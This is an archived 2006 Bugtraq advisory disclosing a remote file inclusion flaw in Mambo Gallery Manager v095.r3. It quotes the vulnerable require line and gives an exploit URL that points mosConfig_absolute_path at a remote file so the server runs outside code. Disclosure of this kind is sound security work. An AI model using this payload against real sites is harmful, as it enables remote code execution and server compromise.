| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20060728214845.30798.qmail@securityfocus.com> Date: 28 Jul 2006 21:48:45 -0000 From: A-S-T2006@...mail.com To: bugtraq@...urityfocus.com Subject: Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities ---------------------------------------------------- Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities ---------------------------------------------------- Discovered By A-S-T TEAM WE ARE CrAsH_oVeR_rIdE & BLACK-CODE & MR-HCR ---------------------------------------------------- site of script:http://mamboxchange.com/frs/?group_id=175&release_id=1289 ---------------------------------------------------- Vulnerable: Mambo Gallery Manager v095.r3(mgm) ---------------------------------------------------- vulnerable file : ------------------ help.mgm.php ---------------------------------------------------- vulnerable code: ---------------------------------------------------- require $mosConfig_absolute_path . "/administrator/components/com_mgm/diagnostics.mgm.php"; $mosConfig_absolute_path File inclusion ---------------------------------------------------- Exploit: http://www.example.com/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=http://evalcode.txt ---------------------------------------------------------------------------------------------------- Discovered By A-S-T TEAM Site:www.lezr.com Greetz:KING-HACKER,YOUNG_HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,ALMOKAN3,Broken-proxy ,troq AND ALL LEZR.COM Member
Powered by blists - more mailing lists